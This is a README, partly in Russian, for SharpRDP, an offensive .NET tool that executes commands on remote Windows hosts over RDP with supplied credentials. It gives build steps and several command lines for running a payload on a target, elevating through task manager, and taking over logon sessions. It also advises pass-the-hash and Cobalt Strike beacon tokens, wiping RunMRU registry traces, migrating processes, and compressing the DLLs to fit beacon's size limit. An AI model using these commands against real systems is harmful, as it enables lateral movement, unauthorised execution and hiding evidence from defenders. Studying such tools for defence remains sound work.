
Консольное приложение .NET для протокола удаленного рабочего стола для выполнения аутентифицированных команд
Для компиляции откройте проект в Visual Studio и соберите для релиза. Два DLL будут выведены в каталог Release, они вам не нужны, так как DLL находятся в сборке.
Если вы не хотите использовать предоставленные DLL, вам понадобится .NET SDK для создания DLL AxMSTSCLib.dll. Для этого нужно запустить aximp из SDK на файле mstscax.dll. %<SDK dir>%\aximp.exe %windir%\system32\mstscax.dll. Эти DLL необходимо сослаться в проекте, чтобы создать Interop DLL.
Также необходимо сжать DLL с помощью Deflate и назвать их AxInterop.MSTSCLib.dll.bin и Interop.MSTSCLib.dll.bin
Regular RDP connection and execution
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
Exec program as child process of cmd or powershell
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
Use restricted admin mode
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
Connect first host drives
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
Execute command elevated through Run Dialog - CURRENTLY BUGGED
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
Execute command elevated through task manager
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
Add Network Level Authentication
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
Ask to take over logon session
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
Если на целевой системе включен режим ограниченного администратора, не указывайте учетные данные, и будет использован текущий контекст пользователя. Можно использовать PTH или make_token в beacon или runas /netonly в Windows.
Все выполнение начинается с диалога «Выполнить» (Win+R). Будет создан ключ реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU с выполненной командой. Если вы хотите его удалить, можете использовать: CleanRunMRU: получение или очистка значений RunMRU
Имейте в виду, что если вы запускаете программу, например msbuild (уверен, есть и другие), появится окно cmd, пока процесс работает. Если это произойдет, вероятно, лучше всего мигрировать процесс и уничтожить исходный.
Необходимые DLL компилируются в сборку, и используется событие разрешения сборки домена приложения. Из-за размера DLL они сжимаются и распаковываются во время выполнения (чтобы соответствовать ограничению размера beacon в 1 МБ).
Блог об этом находится здесь SharpRDP
Также часть MoveKit